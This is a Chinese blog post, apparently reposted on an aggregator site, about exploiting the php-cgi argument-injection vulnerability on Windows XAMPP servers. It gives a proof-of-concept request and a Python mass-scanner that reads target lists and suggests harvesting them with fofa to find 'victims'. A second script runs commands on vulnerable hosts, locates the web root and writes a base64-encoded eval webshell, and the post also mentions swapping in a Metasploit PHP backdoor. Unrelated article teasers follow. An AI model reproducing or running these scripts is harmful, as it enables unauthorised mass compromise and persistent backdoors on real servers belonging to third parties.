php-cgi漏洞利用

news2024/9/23 23:29:52

php-cgi漏洞利用

对喽,这里只是关于这个漏洞的利用方式,具体分析的可以看,先知社区

poc

/php-cgi/php-cgi.exe?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input
REDIRECT-STATUS: 1

这个漏洞出来的有些久了,那就先来写个简单的批量检测脚本(找个大冤种测试)


# 目标URL
import requests

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
        if "text" in response.text:
            print(url.replace('\n', '')+"存在漏洞")
    except:
        print(url.replace('\n', '') + "不存在漏洞")



这里有两种检测方式,第一种是通过检测返回包中的特定字符,第二种是通过网站状态码进行检测,都能找到大冤种,字典的话,通过fofa语法提取一些即可

那么也是找到了一个大冤种,
首先通过执行命令的方式找一下webshell应该存放的目录
这里网站的根目录也就是C:\\xampp\\htdocs\\,也就是xampp的默认目录,
配合file_put_contents方法,上传一句话木马,那么就是

<?php file_put_contents("C:\\xampp\\htdocs\\phpinfo.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="))

这会出现几个问题首先phpinfo.php如果在目录下存在的话,就无法写入,其次就是一句话木马的查杀问题,
当然了,如果不是默认路径的话,最简单的利用方式就是换盘符,也就是CDEFG都访问一下,那么写个py脚本,直接利用

import requests
import re

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
            data1='<?php system("chdir")?>'
            response = requests.post(urls, data=data1, proxies=proxies, headers=headers, verify=False)
            pattern = r"[A-Za-z]:\\(?:[^\\\/:*?\"<>|]+\\)*[^\\\/:*?\"<>|]*"
            lujing=re.findall(pattern,response.text)
            path=lujing[0].replace("php","htdocs\\phpin.php").replace("\\","\\\\")
            data2= '<?php file_put_contents('+path+', base64_decode("PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4="));?>'
            response = requests.post(urls, data=data2, proxies=proxies, headers=headers, verify=False)
            response = requests.post(urls+"/phpin.fo",proxies=proxies, verify=False)
            if response.status_code==200:
                print(urls+"/phpin.fo")
    except:
        continue

代理我这边设置的是burp中转小飞机,使用的话,自行测试一下即可

第二种方法

msf生成php后门,然后直接替换POST中data的木马,但是这种模式有很大的局限性,回连是可以回连,执行命令等情况,经常会断开,可能是因为php不能够重复执行命令的原因

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158752.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

5款好用的电脑软件,个个良心实用

分享5款好用但冷门的windows软件&#xff0c;个个良心实用&#xff0c;而且大部分免费&#xff0c;值得统统装进电脑里&#xff01; 1、EagleGet——高速下载器 一款免费的高速下载软件&#xff0c;页面设计简洁&#xff0c;没有广告&#xff0c;支持 HTTP、HTTPS、FTP、MMS、…

​数据库: MyBatis-Plus

MyBatis-Plus MyBatis-Plus 是 MyBatis 的增强工具&#xff0c;核心作用是简化 CRUD 操作和提升开发效率。它提供基础的增删改查方法、分页插件、条件构造器以及代码生成器&#xff0c;帮助减少重复代码量。MyBatis-Plus 不支持自动建表&#xff0c;专注于简化数据库操作&…

QT中添加资源文件

什么是资源文件 项目中经常需要添加图片、‌音频、‌视频、翻译文件等文件&#xff0c;在QT中&#xff0c;这些文件会放在 .qrc 文件中来被使用。 .qrc 文件是一个XML格式的资源集合描述文件&#xff0c;是Qt中用于定义和管理资源的关键文件 如何使用 创建资源文件 在你的Qt项…

面试真题:谈一谈Mysql的分库分表

分表和分库是什么&#xff1f;有什么区别&#xff1f; 分库是一种水平扩展数据库的技术&#xff0c;将数据根据一定规则划分到多个独立的数据库中。每个数据库只负责存储部分数据&#xff0c;实现了数据的拆分和分布式存储。分库主要是为了解决并发连接过多&#xff0c;单机 my…

一行命令,一分钟轻松搞定SSL证书自动续期

httpsok 是一个便捷的 HTTPS 证书自动续签工具&#xff0c;专为 Nginx 服务器设计。已服务众多中小企业&#xff0c;稳定、安全、可靠。现在的网站SSL免费证书有效期只有3个月&#xff0c;所以就会有经常更快SSL证书的需求&#xff0c;如果手上需要更换的SSL证书比较多的情况下…

DoppelGanger++:面向数据库重放的快速依赖关系图生成

doi&#xff1a;DoppelGanger: Towards Fast Dependency Graph Generation for Database Replay&#xff0c;点击前往 文章目录 1 简介2 架构概述3 依赖关系图3.1 符号和问题定义3.2 无 IT(k) 图3.3 无 OT 图表3.4 无 OTIT 图表3.5 无 IT[OT] 图表3.6 输出确定性保证 4 重复向后…

win10 win11 设置文件权限以解决Onedrive不能同步问题

初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github&#xff1a;codetoys&#xff0c;所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的&#xff0c;可以在任何平台上使用。 源码指引&#xff1a;github源…

蓝牙AOA基站助力打造智慧医院管理系统

随着科技的飞速发展&#xff0c;智慧医院的概念逐渐深入人心。其中&#xff0c;蓝牙AOA&#xff08;到达角&#xff09;定位技术以其高精度、低功耗、低成本等优势&#xff0c;在智慧医院建设中扮演着重要角色。本文将深入探讨蓝牙AOA基站如何助力智慧医院的建设与发展。 一、蓝…

CVE-2024-4956实战

一、访问网页 二、公司信息域名收集 三、抓包读取敏感文件 Burpsuite抓包&#xff0c;修改GET请求即可&#xff08;GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 &#xff09;

点赞系统实现

点赞功能是社交、电商等几乎所有的互联网项目中都广泛使用。虽然看起来简单&#xff0c;不过蕴含的技术方案和手段还是比较多的。 下面将分享之前做的判题OJ系统的点赞系统的思路。 1.需求分析 点赞功能与其它功能不同&#xff0c;没有复杂的原型和需求&#xff0c;仅仅是一…

shardingjdbc介绍

文章目录 1、shardingjdbc介绍1.1、读写分离、数据分片&#xff08;分库分表&#xff09;中间件&#xff1a;1.1.1、shardingsphere1.1.2、mycat 2、shardingjdbc-demo搭建2.1、创建项目2.2、添加依赖2.3、application.yml2.4、创建实体类 User2.5、创建 UserMapper2.6、创建测…

筛子排序(SieveSort)

当你手头有了支持AVX-512&#xff08;SIMD&#xff09;的i9-11900K&#xff0c;你最想做什么&#xff1f; i9-11900K&#xff1f;现在都14代了&#xff0c;谁还用11代的&#xff1f; 但12代以上就没有AVX-512了&#xff01; AVX-512有什么特别之处&#xff1f;有了这个硬件支…

How do you send files to the OpenAI API?

题意&#xff1a;你如何向 OpenAI API 发送文件 问题背景&#xff1a; For fun I wanted to try to make a tool to ask chatgpt to document rust files. I found an issue, in that the maximum message length the API allows seems to be 2048 characters. 为了好玩&…

LLMs之PE:AI for Grant Writing的简介、使用方法、案例应用之详细攻略

LLMs之PE&#xff1a;AI for Grant Writing的简介、使用方法、案例应用之详细攻略 目录 AI for Grant Writing的简介 AI for Grant Writing的使用方法—提示资源 1、提示集合 2、提示工程 3、快速提示 为了提高文本清晰度 为了让文本更有吸引力 为了改进文本的结构和流…

QT窗口无法激活弹出问题排查记录

问题背景 问题环境 操作系统: 银河麒麟V10SP1qt版本 : 5.12.12 碰见了一个问题应用最小化,然后激活程序窗口无法弹出 这里描述一下代码的逻辑,使用QLocalServer实现一个单例进程,具体的功能就是在已存在一个程序A进程时,再启动这个程序A,新的程序A进程会被杀死,然后激活已存…

MFC - 复杂控件_1

前言 各位师傅大家好&#xff0c;我是qmx_07&#xff0c;今天给大家讲解复杂控件的相关知识点 复杂控件 进度条 绘图准备: 调整windows窗口大小、设置 Progress Control 进度条设置Button 按钮 添加进度条变量 m_Progress,通过按钮触发 void CMFCApplication2Dlg::OnBnCl…

基于JAVA+SpringBoot+Vue的景区民宿预约系统

基于JAVASpringBootVue的景区民宿预约系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末附源码下载链接&#x1f345; 哈…

Django 数据库配置以及字段设置详解

配置PostGre 要在 Django 中配置连接 PostgreSQL 数据库&#xff0c;并创建一个包含“使用人”和“车牌号”等字段的 Car 表 1. 配置 PostgreSQL 数据库连接 首先&#xff0c;在 Django 项目的 settings.py 中配置 PostgreSQL 连接。 修改 settings.py 文件&#xff1a; …

C++ set 和 map学习

一、set(multiset)的基本知识和使用 set也是一种我们直接可以使用的容器&#xff0c;使用应该包含 #include <set> 这个头文件。此处暂且不讨论其底层&#xff0c;只探讨set如何使用即可。 我们看到&#xff0c;set 的模板参数有三个&#xff0c;第一个就是其存储的数据…

Python学习——【4.6】数据容器:dict 字典、映射

文章目录 【4.6】数据容器&#xff1a;dict 字典、映射一、字典的定义二、字典的常用操作三、字典的遍历四、字典的特点 【4.6】数据容器&#xff1a;dict 字典、映射 一、字典的定义 为什么使用字典 以生活中的新华字典举例。它的功能是&#xff0c;让我们通过【字】&#x…